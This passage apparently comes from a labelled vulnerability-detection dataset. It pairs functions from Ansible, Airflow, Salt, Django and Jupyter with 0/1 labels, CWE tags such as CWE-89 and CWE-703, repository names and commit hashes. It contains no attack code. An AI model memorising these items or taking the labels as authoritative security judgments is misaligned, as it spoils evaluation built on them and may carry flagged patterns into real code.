            if is_chroot(module) or os.environ.get('SYSTEMD_OFFLINE') == '1':
                module.warn('daemon-reload failed, but target is a chroot or systemd is offline. Continuing. Error was: %d / %s' % (rc, err))
            else:
                module.fail_json(msg='failure %d during daemon-reload: %s' % (rc, err))

    # Run daemon-reexec
    if module.params['daemon_reexec'] and not module.check_mode:
        (rc, out, err) = module.run_command(""%s daemon-reexec"" % (systemctl))
        if rc != 0:
            if is_chroot(module) or os.environ.get('SYSTEMD_OFFLINE') == '1':
                module.warn('daemon-reexec failed, but target is a chroot or systemd is offline. Continuing. Error was: %d / %s' % (rc, err))
            else:
                module.fail_json(msg='failure %d during daemon-reexec: %s' % (rc, err))

    if unit:
        found = False
        is_initd = sysv_exists(unit)
        is_systemd = False

        # check service data, cannot error out on rc as it changes across versions, assume not found
        (rc, out, err) = module.run_command(""%s show '%s'"" % (systemctl, unit))

        if rc == 0 and not (request_was_ignored(out) or request_was_ignored(err)):
            # load return of systemctl show into dictionary for easy access and return
            if out:
                result['status'] = parse_systemctl_show(to_native(out).split('\n'))

                is_systemd = 'LoadState' in result['status'] and result['status']['LoadState'] != 'not-found'

                is_masked = 'LoadState' in result['status'] and result['status']['LoadState'] == 'masked'

                # Check for loading error
                if is_systemd and not is_masked and 'LoadError' in result['status']:
                    module.fail_json(msg=""Error loading unit file '%s': %s"" % (unit, result['status']['LoadError']))

        # Workaround for https://github.com/ansible/ansible/issues/71528
        elif err and rc == 1 and 'Failed to parse bus message' in err:
            result['status'] = parse_systemctl_show(to_native(out).split('\n'))

            unit_base, sep, suffix = unit.partition('@')
            unit_search = '{unit_base}{sep}'.format(unit_base=unit_base, sep=sep)
            (rc, out, err) = module.run_command(""{systemctl} list-unit-files '{unit_search}*'"".format(systemctl=systemctl, unit_search=unit_search))
            is_systemd = unit_search in out

            (rc, out, err) = module.run_command(""{systemctl} is-active '{unit}'"".format(systemctl=systemctl, unit=unit))
            result['status']['ActiveState'] = out.rstrip('\n')

        else:
            # list taken from man systemctl(1) for systemd 244
            valid_enabled_states = [
                ""enabled"",
                ""enabled-runtime"",
                ""linked"",
                ""linked-runtime"",
                ""masked"",
                ""masked-runtime"",
                ""static"",
                ""indirect"",
                ""disabled"",
                ""generated"",
                ""transient""]

            (rc, out, err) = module.run_command(""%s is-enabled '%s'"" % (systemctl, unit))
            if out.strip() in valid_enabled_states:
                is_systemd = True
            else:
                # fallback list-unit-files as show does not work on some systems (chroot)
                # not used as primary as it skips some services (like those using init.d) and requires .service/etc notation
                (rc, out, err) = module.run_command(""%s list-unit-files '%s'"" % (systemctl, unit))
                if rc == 0:
                    is_systemd = True
                else:
                    # Check for systemctl command
                    module.run_command(systemctl, check_rc=True)

        # Does service exist?
        found = is_systemd or is_initd
        if is_initd and not is_systemd:
            module.warn('The service (%s) is actually an init script but the system is managed by systemd' % unit)

        # mask/unmask the service, if requested, can operate on services before they are installed
        if module.params['masked'] is not None:
            # state is not masked unless systemd affirms otherwise
            (rc, out, err) = module.run_command(""%s is-enabled '%s'"" % (systemctl, unit))
            masked = out.strip() == ""masked""

            if masked != module.params['masked']:
                result['changed'] = True
                if module.params['masked']:
                    action = 'mask'
                else:
                    action = 'unmask'

                if not module.check_mode:
                    (rc, out, err) = module.run_command(""%s %s '%s'"" % (systemctl, action, unit))
                    if rc != 0:
                        # some versions of system CAN mask/unmask non existing services, we only fail on missing if they don't
                        fail_if_missing(module, found, unit, msg='host')

        # Enable/disable service startup at boot if requested
        if module.params['enabled'] is not None:

            if module.params['enabled']:
                action = 'enable'
            else:
                action = 'disable'

            fail_if_missing(module, found, unit, msg='host')

            # do we need to enable the service?
            enabled = False
            (rc, out, err) = module.run_command(""%s is-enabled '%s' -l"" % (systemctl, unit))

            # check systemctl result or if it is a init script
            if rc == 0:
                enabled = True
                # Check if the service is indirect or alias and if out contains exactly 1 line of string 'indirect'/ 'alias' it's disabled
                if out.splitlines() == [""indirect""] or out.splitlines() == [""alias""]:
                    enabled = False

            elif rc == 1:
                # if not a user or global user service and both init script and unit file exist stdout should have enabled/disabled, otherwise use rc entries
                if module.params['scope'] == 'system' and \
                        is_initd and \
                        not out.strip().endswith('disabled') and \
                        sysv_is_enabled(unit):
                    enabled = True

            # default to current state
            result['enabled'] = enabled

            # Change enable/disable if needed
            if enabled != module.params['enabled']:
                result['changed'] = True
                if not module.check_mode:
                    (rc, out, err) = module.run_command(""%s %s '%s'"" % (systemctl, action, unit))
                    if rc != 0:
                        module.fail_json(msg=""Unable to %s service %s: %s"" % (action, unit, out + err))

                result['enabled'] = not enabled

        # set service state if requested
        if module.params['state'] is not None:
            fail_if_missing(module, found, unit, msg=""host"")

            # default to desired state
            result['state'] = module.params['state']

            # What is current service state?
            if 'ActiveState' in result['status']:
                action = None
                if module.params['state'] == 'started':
                    if not is_running_service(result['status']):
                        action = 'start'
                elif module.params['state'] == 'stopped':
                    if is_running_service(result['status']) or is_deactivating_service(result['status']):
                        action = 'stop'
                else:
                    if not is_running_service(result['status']):
                        action = 'start'
                    else:
                        action = module.params['state'][:-2]  # remove 'ed' from restarted/reloaded
                    result['state'] = 'started'

                if action:
                    result['changed'] = True
                    if not module.check_mode:
                        (rc, out, err) = module.run_command(""%s %s '%s'"" % (systemctl, action, unit))
                        if rc != 0:
                            module.fail_json(msg=""Unable to %s service %s: %s"" % (action, unit, err))
            # check for chroot
            elif is_chroot(module) or os.environ.get('SYSTEMD_OFFLINE') == '1':
                module.warn(""Target is a chroot or systemd is offline. This can lead to false positives or prevent the init system tools from working."")
            else:
                # this should not happen?
                module.fail_json(msg=""Service is in unknown state"", status=result['status'])

    module.exit_json(**result)",,ansible/ansible,716631189cb5a3f66b3add98f39e64e98bc17bf7,"def main():
    # initialize
    module = AnsibleModule(
        argument_spec=dict(
            name=dict(type='str', aliases=['service', 'unit']),
            state=dict(type='str', choices=['reloaded', 'restarted', 'started', 'stopped']),
            enabled=dict(type='bool'),
            force=dict(type='bool'),
            masked=dict(type='bool'),
            daemon_reload=dict(type='bool', default=False, aliases=['daemon-reload']),
            daemon_reexec=dict(type='bool', default=False, aliases=['daemon-reexec']),
            scope=dict(type='str', default='system', choices=['system', 'user', 'global']),
            no_block=dict(type='bool', default=False),
        ),
        supports_check_mode=True,
        required_one_of=[['state', 'enabled', 'masked', 'daemon_reload', 'daemon_reexec']],
        required_by=dict(
            state=('name', ),
            enabled=('name', ),
            masked=('name', ),
        ),
    )

    unit = module.params['name']
    if unit is not None:
        for globpattern in (r""*"", r""?"", r""[""):
            if globpattern in unit:
                module.fail_json(msg=""This module does not currently support using glob patterns, found '%s' in service name: %s"" % (globpattern, unit))

    systemctl = module.get_bin_path('systemctl', True)

    if os.getenv('XDG_RUNTIME_DIR') is None:
        os.environ['XDG_RUNTIME_DIR'] = '/run/user/%s' % os.geteuid()

    ''' Set CLI options depending on params '''
    # if scope is 'system' or None, we can ignore as there is no extra switch.
    # The other choices match the corresponding switch
    if module.params['scope'] != 'system':
        systemctl += "" --%s"" % module.params['scope']

    if module.params['no_block']:
        systemctl += "" --no-block""

    if module.params['force']:
        systemctl += "" --force""

    rc = 0
    out = err = ''
    result = dict(
        name=unit,
        changed=False,
        status=dict(),
    )

    # Run daemon-reload first, if requested
    if module.params['daemon_reload'] and not module.check_mode:
        (rc, out, err) = module.run_command(""%s daemon-reload"" % (systemctl))
        if rc != 0:
            if is_chroot(module) or os.environ.get('SYSTEMD_OFFLINE') == '1':
                module.warn('daemon-reload failed, but target is a chroot or systemd is offline. Continuing. Error was: %d / %s' % (rc, err))
            else:
                module.fail_json(msg='failure %d during daemon-reload: %s' % (rc, err))

    # Run daemon-reexec
    if module.params['daemon_reexec'] and not module.check_mode:
        (rc, out, err) = module.run_command(""%s daemon-reexec"" % (systemctl))
        if rc != 0:
            if is_chroot(module) or os.environ.get('SYSTEMD_OFFLINE') == '1':
                module.warn('daemon-reexec failed, but target is a chroot or systemd is offline. Continuing. Error was: %d / %s' % (rc, err))
            else:
                module.fail_json(msg='failure %d during daemon-reexec: %s' % (rc, err))

    if unit:
        found = False
        is_initd = sysv_exists(unit)
        is_systemd = False

        # check service data, cannot error out on rc as it changes across versions, assume not found
        (rc, out, err) = module.run_command(""%s show '%s'"" % (systemctl, unit))

        if rc == 0 and not (request_was_ignored(out) or request_was_ignored(err)):
            # load return of systemctl show into dictionary for easy access and return
            if out:
                result['status'] = parse_systemctl_show(to_native(out).split('\n'))

                is_systemd = 'LoadState' in result['status'] and result['status']['LoadState'] != 'not-found'

                is_masked = 'LoadState' in result['status'] and result['status']['LoadState'] == 'masked'

                # Check for loading error
                if is_systemd and not is_masked and 'LoadError' in result['status']:
                    module.fail_json(msg=""Error loading unit file '%s': %s"" % (unit, result['status']['LoadError']))

        # Workaround for https://github.com/ansible/ansible/issues/71528
        elif err and rc == 1 and 'Failed to parse bus message' in err:
            result['status'] = parse_systemctl_show(to_native(out).split('\n'))

            unit_base, sep, suffix = unit.partition('@')
            unit_search = '{unit_base}{sep}'.format(unit_base=unit_base, sep=sep)
            (rc, out, err) = module.run_command(""{systemctl} list-unit-files '{unit_search}*'"".format(systemctl=systemctl, unit_search=unit_search))
            is_systemd = unit_search in out

            (rc, out, err) = module.run_command(""{systemctl} is-active '{unit}'"".format(systemctl=systemctl, unit=unit))
            result['status']['ActiveState'] = out.rstrip('\n')

        else:
            # list taken from man systemctl(1) for systemd 244
            valid_enabled_states = [
                ""enabled"",
                ""enabled-runtime"",
                ""linked"",
                ""linked-runtime"",
                ""masked"",
                ""masked-runtime"",
                ""static"",
                ""indirect"",
                ""disabled"",
                ""generated"",
                ""transient""]

            (rc, out, err) = module.run_command(""%s is-enabled '%s'"" % (systemctl, unit))
            if out.strip() in valid_enabled_states:
                is_systemd = True
            else:
                # fallback list-unit-files as show does not work on some systems (chroot)
                # not used as primary as it skips some services (like those using init.d) and requires .service/etc notation
                (rc, out, err) = module.run_command(""%s list-unit-files '%s'"" % (systemctl, unit))
                if rc == 0:
                    is_systemd = True
                else:
                    # Check for systemctl command
                    module.run_command(systemctl, check_rc=True)

        # Does service exist?
        found = is_systemd or is_initd
        if is_initd and not is_systemd:
            module.warn('The service (%s) is actually an init script but the system is managed by systemd' % unit)

        # mask/unmask the service, if requested, can operate on services before they are installed
        if module.params['masked'] is not None:
            # state is not masked unless systemd affirms otherwise
            (rc, out, err) = module.run_command(""%s is-enabled '%s'"" % (systemctl, unit))
            masked = out.strip() == ""masked""

            if masked != module.params['masked']:
                result['changed'] = True
                if module.params['masked']:
                    action = 'mask'
                else:
                    action = 'unmask'

                if not module.check_mode:
                    (rc, out, err) = module.run_command(""%s %s '%s'"" % (systemctl, action, unit))
                    if rc != 0:
                        # some versions of system CAN mask/unmask non existing services, we only fail on missing if they don't
                        fail_if_missing(module, found, unit, msg='host')

        # Enable/disable service startup at boot if requested
        if module.params['enabled'] is not None:

            if module.params['enabled']:
                action = 'enable'
            else:
                action = 'disable'

            fail_if_missing(module, found, unit, msg='host')

            # do we need to enable the service?
            enabled = False
            (rc, out, err) = module.run_command(""%s is-enabled '%s' -l"" % (systemctl, unit))

            # check systemctl result or if it is a init script
            if rc == 0:
                enabled = True
                # Check if the service is indirect or alias and if out contains exactly 1 line of string 'indirect'/ 'alias' it's disabled
                if out.splitlines() == [""indirect""] or out.splitlines() == [""alias""]:
                    enabled = False

            elif rc == 1:
                # if not a user or global user service and both init script and unit file exist stdout should have enabled/disabled, otherwise use rc entries
                if module.params['scope'] == 'system' and \
                        is_initd and \
                        not out.strip().endswith('disabled') and \
                        sysv_is_enabled(unit):
                    enabled = True

            # default to current state
            result['enabled'] = enabled

            # Change enable/disable if needed
            if enabled != module.params['enabled']:
                result['changed'] = True
                if not module.check_mode:
                    (rc, out, err) = module.run_command(""%s %s '%s'"" % (systemctl, action, unit))
                    if rc != 0:
                        module.fail_json(msg=""Unable to %s service %s: %s"" % (action, unit, out + err))

                result['enabled'] = not enabled

        # set service state if requested
        if module.params['state'] is not None:
            fail_if_missing(module, found, unit, msg=""host"")

            # default to desired state
            result['state'] = module.params['state']

            # What is current service state?
            if 'ActiveState' in result['status']:
                action = None
                if module.params['state'] == 'started':
                    if not is_running_service(result['status']):
                        action = 'start'
                elif module.params['state'] == 'stopped':
                    if is_running_service(result['status']) or is_deactivating_service(result['status']):
                        action = 'stop'
                else:
                    if not is_running_service(result['status']):
                        action = 'start'
                    else:
                        action = module.params['state'][:-2]  # remove 'ed' from restarted/reloaded
                    result['state'] = 'started'

                if action:
                    result['changed'] = True
                    if not module.check_mode:
                        (rc, out, err) = module.run_command(""%s %s '%s'"" % (systemctl, action, unit))
                        if rc != 0:
                            module.fail_json(msg=""Unable to %s service %s: %s"" % (action, unit, err))
            # check for chroot
            elif is_chroot(module) or os.environ.get('SYSTEMD_OFFLINE') == '1':
                module.warn(""Target is a chroot or systemd is offline. This can lead to false positives or prevent the init system tools from working."")
            else:
                # this should not happen?
                module.fail_json(msg=""Service is in unknown state"", status=result['status'])

    module.exit_json(**result)"
,UNKNOWN,UNKNOWN,tests/cli/commands/remote_commands/test_asset_command.py,1,"def test_cli_assets_materialize(parser: ArgumentParser) -> None:
    args = parser.parse_args([""assets"", ""materialize"", ""--name=asset1_producer"", ""--output=json""])
    with contextlib.redirect_stdout(io.StringIO()) as temp_stdout:
        asset_command.asset_materialize(args)

    run_list = json.loads(temp_stdout.getvalue())
    assert len(run_list) == 1

    # No good way to statically compare these.
    undeterministic = {
        ""dag_run_id"": None,
        ""data_interval_end"": None,
        ""data_interval_start"": None,
        ""logical_date"": None,
        ""queued_at"": None,
        ""run_after"": ""2025-02-12T19:27:59.066046Z"",
    }

    assert run_list[0] | undeterministic == undeterministic | {
        ""conf"": {},
        ""dag_id"": ""asset1_producer"",
        ""end_date"": None,
        ""external_trigger"": ""True"",
        ""last_scheduling_decision"": None,
        ""note"": None,
        ""run_type"": ""manual"",
        ""start_date"": None,
        ""state"": ""queued"",
        ""triggered_by"": ""cli"",
        ""run_after"": ""2025-02-12T19:27:59.066046Z"",
    }",CWE-703,apache/airflow,f50f1cea452630ad1abac98b0a409ff0465147a9,"def test_cli_assets_materialize(parser: ArgumentParser) -> None:
    args = parser.parse_args([""assets"", ""materialize"", ""--name=asset1_producer"", ""--output=json""])
    with contextlib.redirect_stdout(io.StringIO()) as temp_stdout:
        asset_command.asset_materialize(args)

    run_list = json.loads(temp_stdout.getvalue())
    assert len(run_list) == 1

    # No good way to statically compare these.
    undeterministic = {
        ""dag_run_id"": None,
        ""data_interval_end"": None,
        ""data_interval_start"": None,
        ""logical_date"": None,
        ""queued_at"": None,
        ""run_after"": None,
    }

    assert run_list[0] | undeterministic == undeterministic | {
        ""conf"": {},
        ""dag_id"": ""asset1_producer"",
        ""end_date"": None,
        ""external_trigger"": ""True"",
        ""last_scheduling_decision"": None,
        ""note"": None,
        ""run_type"": ""manual"",
        ""start_date"": None,
        ""state"": ""queued"",
        ""triggered_by"": ""cli"",
    }"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/returners/carbon_return.py,0,"def returner(ret):
    '''
    Return data to a remote carbon server using the text metric protocol

    Each metric will look like::

        [module].[function].[minion_id].[metric path [...]].[metric name]

    '''
    _options = _get_options(ret)

    host = _options.get('host')
    port = _options.get('port')
    skip = _options.get('skip')
    metric_base_pattern = _options.get('carbon.metric_base_pattern')
    if 'mode' in _options:
        mode = _options.get('mode').lower()

    log.debug('Carbon minion configured with host: {0}:{1}'.format(host, port))
    log.debug('Using carbon protocol: {0}'.format(mode))

    if not (host and port):
        log.error('Host or port not defined')
        return

    # TODO: possible to use time return from salt job to be slightly more precise?
    # convert the jid to unix timestamp?
    # {'fun': 'test.version', 'jid': '20130113193949451054', 'return': '0.11.0', 'id': 'salt'}
    timestamp = int(time.time())

    saltdata = ret['return']
    metric_base = ret['fun']
    handler = _send_picklemetrics if mode == 'pickle' else _send_textmetrics

    # Strip the hostname from the carbon base if we are returning from virt
    # module since then we will get stable metric bases even if the VM is
    # migrate from host to host
    if not metric_base.startswith('virt.'):
        minion_id = ret['id'].replace('.', '_')
        if metric_base_pattern is not None:
            [module, function] = ret['fun'].split('.')
            metric_base = metric_base_pattern.replace(""[module]"", module).replace(""[function]"", function).replace(""[minion_id]"", minion_id)
        else:
            metric_base += '.' + minion_id
        log.debug('Carbon metric_base : %s', metric_base)

    metrics = []
    _walk(metric_base, saltdata, metrics, timestamp, skip)
    data = handler(metrics)

    with _carbon(host, port) as sock:
        total_sent_bytes = 0
        while total_sent_bytes < len(data):
            sent_bytes = sock.send(data[total_sent_bytes:])
            if sent_bytes == 0:
                log.error('Bytes sent 0, Connection reset?')
                return

            log.debug('Sent {0} bytes to carbon'.format(sent_bytes))
            total_sent_bytes += sent_bytes",,saltstack/salt,435d953a49e36fcc6dd2d5cc94e6ccb9bea633a6,"def returner(ret):
    '''
    Return data to a remote carbon server using the text metric protocol

    Each metric will look like::

        [module].[function].[minion_id].[metric path [...]].[metric name]

    '''
    _options = _get_options(ret)

    host = _options.get('host')
    port = _options.get('port')
    skip = _options.get('skip')
    metric_base_pattern = options.get('carbon.metric_base_pattern')
    if 'mode' in _options:
        mode = _options.get('mode').lower()

    log.debug('Carbon minion configured with host: {0}:{1}'.format(host, port))
    log.debug('Using carbon protocol: {0}'.format(mode))

    if not (host and port):
        log.error('Host or port not defined')
        return

    # TODO: possible to use time return from salt job to be slightly more precise?
    # convert the jid to unix timestamp?
    # {'fun': 'test.version', 'jid': '20130113193949451054', 'return': '0.11.0', 'id': 'salt'}
    timestamp = int(time.time())

    saltdata = ret['return']
    metric_base = ret['fun']
    handler = _send_picklemetrics if mode == 'pickle' else _send_textmetrics

    # Strip the hostname from the carbon base if we are returning from virt
    # module since then we will get stable metric bases even if the VM is
    # migrate from host to host
    if not metric_base.startswith('virt.'):
        minion_id = ret['id'].replace('.', '_')
        if metric_base_pattern is not None:
            [module, function] = ret['fun'].split('.')
            metric_base = metric_base_pattern.replace(""[module]"", module).replace(""[function]"", function).replace(""[minion_id]"", minion_id)
        else:
            metric_base += '.' + minion_id
        log.debug('Carbon metric_base : %s', metric_base)

    metrics = []
    _walk(metric_base, saltdata, metrics, timestamp, skip)
    data = handler(metrics)

    with _carbon(host, port) as sock:
        total_sent_bytes = 0
        while total_sent_bytes < len(data):
            sent_bytes = sock.send(data[total_sent_bytes:])
            if sent_bytes == 0:
                log.error('Bytes sent 0, Connection reset?')
                return

            log.debug('Sent {0} bytes to carbon'.format(sent_bytes))
            total_sent_bytes += sent_bytes"
,UNKNOWN,UNKNOWN,django/db/backends/mysql/introspection.py,1,"def get_constraints(self, cursor, table_name):
        """"""
        Retrieves any constraints or keys (unique, pk, fk, check, index) across one or more columns.
        """"""
        constraints = {}
        # Get the actual constraint names and columns
        name_query = """"""
            SELECT kc.`constraint_name`, kc.`column_name`,
                kc.`referenced_table_name`, kc.`referenced_column_name`
            FROM information_schema.key_column_usage AS kc
            WHERE
                kc.table_schema = DATABASE() AND
                kc.table_name = %s
        """"""
        cursor.execute(name_query, [table_name])
        for constraint, column, ref_table, ref_column in cursor.fetchall():
            if constraint not in constraints:
                constraints[constraint] = {
                    'columns': OrderedSet(),
                    'primary_key': False,
                    'unique': False,
                    'index': False,
                    'check': False,
                    'foreign_key': (ref_table, ref_column) if ref_column else None,
                }
            constraints[constraint]['columns'].add(column)
        # Now get the constraint types
        type_query = """"""
            SELECT c.constraint_name, c.constraint_type
            FROM information_schema.table_constraints AS c
            WHERE
                c.table_schema = DATABASE() AND
                c.table_name = %s
        """"""
        cursor.execute(type_query, [table_name])
        for constraint, kind in cursor.fetchall():
            if kind.lower() == ""primary key"":
                constraints[constraint]['primary_key'] = True
                constraints[constraint]['unique'] = True
            elif kind.lower() == ""unique"":
                constraints[constraint]['unique'] = True
        # Now add in the indexes
        cursor.execute(""SHOW INDEX FROM %s"" % self.connection.ops.quote_name(table_name))
        for table, non_unique, index, colseq, column in [x[:5] for x in cursor.fetchall()]:
            if index not in constraints:
                constraints[index] = {
                    'columns': OrderedSet(),
                    'primary_key': False,
                    'unique': False,
                    'index': True,
                    'check': False,
                    'foreign_key': None,
                }
            constraints[index]['index'] = True
            constraints[index]['columns'].add(column)
        # Convert the sorted sets to lists
        for constraint in constraints.values():
            constraint['columns'] = list(constraint['columns'])
        return constraints",CWE-89,django/django,65aa94200b3d10d515b15a78898c3692cd57e6c7,"def get_constraints(self, cursor, table_name):
        """"""
        Retrieves any constraints or keys (unique, pk, fk, check, index) across one or more columns.
        """"""
        constraints = {}
        # Get the actual constraint names and columns
        name_query = """"""
            SELECT kc.`constraint_name`, kc.`column_name`,
                kc.`referenced_table_name`, kc.`referenced_column_name`
            FROM information_schema.key_column_usage AS kc
            WHERE
                kc.table_schema = %s AND
                kc.table_name = %s
        """"""
        cursor.execute(name_query, [self.connection.settings_dict['NAME'], table_name])
        for constraint, column, ref_table, ref_column in cursor.fetchall():
            if constraint not in constraints:
                constraints[constraint] = {
                    'columns': OrderedSet(),
                    'primary_key': False,
                    'unique': False,
                    'index': False,
                    'check': False,
                    'foreign_key': (ref_table, ref_column) if ref_column else None,
                }
            constraints[constraint]['columns'].add(column)
        # Now get the constraint types
        type_query = """"""
            SELECT c.constraint_name, c.constraint_type
            FROM information_schema.table_constraints AS c
            WHERE
                c.table_schema = %s AND
                c.table_name = %s
        """"""
        cursor.execute(type_query, [self.connection.settings_dict['NAME'], table_name])
        for constraint, kind in cursor.fetchall():
            if kind.lower() == ""primary key"":
                constraints[constraint]['primary_key'] = True
                constraints[constraint]['unique'] = True
            elif kind.lower() == ""unique"":
                constraints[constraint]['unique'] = True
        # Now add in the indexes
        cursor.execute(""SHOW INDEX FROM %s"" % self.connection.ops.quote_name(table_name))
        for table, non_unique, index, colseq, column in [x[:5] for x in cursor.fetchall()]:
            if index not in constraints:
                constraints[index] = {
                    'columns': OrderedSet(),
                    'primary_key': False,
                    'unique': False,
                    'index': True,
                    'check': False,
                    'foreign_key': None,
                }
            constraints[index]['index'] = True
            constraints[index]['columns'].add(column)
        # Convert the sorted sets to lists
        for constraint in constraints.values():
            constraint['columns'] = list(constraint['columns'])
        return constraints"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/get_or_create/tests.py,0,"def test_get_or_create(self):
        p = Person.objects.create(
            first_name='John', last_name='Lennon', birthday=date(1940, 10, 9)
        )

        p, created = Person.objects.get_or_create(
            first_name=""John"", last_name=""Lennon"", defaults={
                ""birthday"": date(1940, 10, 9)
            }
        )
        self.assertFalse(created)
        self.assertEqual(Person.objects.count(), 1)

        p, created = Person.objects.get_or_create(
            first_name='George', last_name='Harrison', defaults={
                'birthday': date(1943, 2, 25)
            }
        )
        self.assertTrue(created)
        self.assertEqual(Person.objects.count(), 2)

        # If we execute the exact same statement, it won't create a Person.
        p, created = Person.objects.get_or_create(
            first_name='George', last_name='Harrison', defaults={
                'birthday': date(1943, 2, 25)
            }
        )
        self.assertFalse(created)
        self.assertEqual(Person.objects.count(), 2)

        # If you don't specify a value or default value for all required
        # fields, you will get an error.
        self.assertRaises(
            IntegrityError,
            Person.objects.get_or_create, first_name=""Tom"", last_name=""Smith""
        )

        # If you specify an existing primary key, but different other fields,
        # then you will get an error and data will not be updated.
        ManualPrimaryKeyTest.objects.create(id=1, data=""Original"")
        self.assertRaises(
            IntegrityError,
            ManualPrimaryKeyTest.objects.get_or_create, id=1, data=""Different""
        )
        self.assertEqual(ManualPrimaryKeyTest.objects.get(id=1).data, ""Original"")

        # get_or_create should raise IntegrityErrors with the full traceback.
        # This is tested by checking that a known method call is in the traceback.
        # We cannot use assertRaises/assertRaises here because we need to inspect
        # the actual traceback. Refs #16340.
        try:
            ManualPrimaryKeyTest.objects.get_or_create(id=1, data=""Different"")
        except IntegrityError:
            formatted_traceback = traceback.format_exc()
            self.assertIn(str('obj.save'), formatted_traceback)",CWE-Unknown,django/django,a2814846ca006b4fbf3a893ec52cd9d444b3a3eb,"def test_get_or_create(self):
        p = Person.objects.create(
            first_name='John', last_name='Lennon', birthday=date(1940, 10, 9)
        )

        p, created = Person.objects.get_or_create(
            first_name=""John"", last_name=""Lennon"", defaults={
                ""birthday"": date(1940, 10, 9)
            }
        )
        self.assertFalse(created)
        self.assertEqual(Person.objects.count(), 1)

        p, created = Person.objects.get_or_create(
            first_name='George', last_name='Harrison', defaults={
                'birthday': date(1943, 2, 25)
            }
        )
        self.assertTrue(created)
        self.assertEqual(Person.objects.count(), 2)

        # If we execute the exact same statement, it won't create a Person.
        p, created = Person.objects.get_or_create(
            first_name='George', last_name='Harrison', defaults={
                'birthday': date(1943, 2, 25)
            }
        )
        self.assertFalse(created)
        self.assertEqual(Person.objects.count(), 2)

        # If you don't specify a value or default value for all required
        # fields, you will get an error.
        self.assertRaises(IntegrityError,
            Person.objects.get_or_create, first_name=""Tom"", last_name=""Smith""
        )

        # If you specify an existing primary key, but different other fields,
        # then you will get an error and data will not be updated.
        ManualPrimaryKeyTest.objects.create(id=1, data=""Original"")
        self.assertRaises(IntegrityError,
            ManualPrimaryKeyTest.objects.get_or_create, id=1, data=""Different""
        )
        self.assertEqual(ManualPrimaryKeyTest.objects.get(id=1).data, ""Original"")

        # get_or_create should raise IntegrityErrors with the full traceback.
        # This is tested by checking that a known method call is in the traceback.
        # We cannot use assertRaises/assertRaises here because we need to inspect
        # the actual traceback. Refs #16340.
        try:
            ManualPrimaryKeyTest.objects.get_or_create(id=1, data=""Different"")
        except IntegrityError:
            formatted_traceback = traceback.format_exc()
            self.assertIn(str('obj.save'), formatted_traceback)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/utils.py,0,"def is_hidden(abs_path, abs_root=''):
    """"""Is a file hidden or contained in a hidden directory?
    
    This will start with the rightmost path element and work backwards to the
    given root to see if a path is hidden or in a hidden directory. Hidden is
    determined by either name starting with '.' or the UF_HIDDEN flag as 
    reported by stat.
    
    Parameters
    ----------
    abs_path : unicode
        The absolute path to check for hidden directories.
    abs_root : unicode
        The absolute path of the root directory in which hidden directories
        should be checked for.
    """"""
    if not abs_root:
        abs_root = abs_path.split(os.sep, 1)[0] + os.sep
    inside_root = abs_path[len(abs_root):]
    if any(part.startswith('.') for part in inside_root.split(os.sep)):
        return True
    
    # check that dirs can be listed
    if os.path.isdir(abs_path):
        if sys.platform == 'win32':
            # can't trust os.access on Windows because it seems to always return True
            try:
                os.stat(abs_path)
            except OSError:
                # stat may fail on Windows junctions or non-user-readable dirs
                return True
        else:
            # use x-access, not actual listing, in case of slow/large listings
            if not os.access(abs_path, os.X_OK | os.R_OK):
                return True
    
    # check UF_HIDDEN on any location up to root
    path = abs_path
    while path and path.startswith(abs_root) and path != abs_root:
        if not os.path.exists(path):
            path = os.path.dirname(path)
            continue
        try:
            # may fail on Windows junctions
            st = os.stat(path)
        except OSError:
            return True
        if getattr(st, 'st_flags', 0) & UF_HIDDEN:
            return True
        path = os.path.dirname(path)
    
    if sys.platform == 'win32':
        try:
            attrs = ctypes.windll.kernel32.GetFileAttributesW(py3compat.cast_unicode(abs_path))
        except AttributeError:
            pass
        else:
            if attrs > 0 and attrs & _win32_FILE_ATTRIBUTE_HIDDEN:
                return True

    return False",,jupyter/notebook,f96feb5e8b57797643afd509a075adebf4743e0f,"def is_hidden(abs_path, abs_root=''):
    """"""Is a file hidden or contained in a hidden directory?
    
    This will start with the rightmost path element and work backwards to the
    given root to see if a path is hidden or in a hidden directory. Hidden is
    determined by either name starting with '.' or the UF_HIDDEN flag as 
    reported by stat.
    
    Parameters
    ----------
    abs_path : unicode
        The absolute path to check for hidden directories.
    abs_root : unicode
        The absolute path of the root directory in which hidden directories
        should be checked for.
    """"""
    if not abs_root:
        abs_root = abs_path.split(os.sep, 1)[0] + os.sep
    inside_root = abs_path[len(abs_root):]
    if any(part.startswith('.') for part in inside_root.split(os.sep)):
        return True
    
    # check that dirs can be listed
    if os.path.isdir(abs_path):
        if sys.platform == 'win32':
            # can't trust os.access on Windows because it seems to always return True
            try:
                os.stat(abs_path)
            except OSError:
                # stat may fail on Windows junctions or non-user-readable dirs
                return True
        else:
            # use x-access, not actual listing, in case of slow/large listings
            if not os.access(abs_path, os.X_OK | os.R_OK):
                return True
    
    # check UF_HIDDEN on any location up to root
    path = abs_path
    while path and path.startswith(abs_root) and path != abs_root:
        if not os.path.exists(path):
            path = os.path.dirname(path)
            continue
        try:
            # may fail on Windows junctions
            st = os.stat(path)
        except OSError:
            return True
        if getattr(st, 'st_flags', 0) & UF_HIDDEN:
            return True
        path = os.path.dirname(path)
    
    if sys.platform == 'win32':
        try:
            attrs = ctypes.windll.kernel32.GetFileAttributesW(py3compat.cast_unicode(abs_path))
        except AttributeError:
            pass
        else:
            if attrs > 0 and attrs & _win32_FILE_ATTRIBUTE_HIDDEN:
                return True

    return False"
,UNKNOWN,UNKNOWN,tests/pytests/unit/modules/test_vmctl.py,1,"def test_start_existing_vm():
    """"""
    Tests starting a VM that is already defined.
    """"""
    ret = {}
    ret[""stderr""] = ""vmctl: started vm 4 successfully, tty /dev/ttyp4""
    ret[""retcode""] = 0
    mock_cmd = MagicMock(return_value=ret)
    expected = {""changes"": True, ""console"": ""/dev/ttyp4""}
    with patch.dict(vmctl.__salt__, {""cmd.run_all"": mock_cmd}):
        assert vmctl.start(""4"") == expected",CWE-703,saltstack/salt,11b3f724d37bbaebbace85183b427054e19375ce,"def test_start_existing_vm():
    """"""
    Tests starting a VM that is already defined.
    """"""
    ret = {}
    ret[""stderr""] = ""vmctl: started vm 4 successfully, tty /dev/ttyp4""
    ret[""retcode""] = 0
    mock_cmd = MagicMock(return_value=ret)
    expected = {""changes"": True, ""console"": ""/dev/ttyp4""}
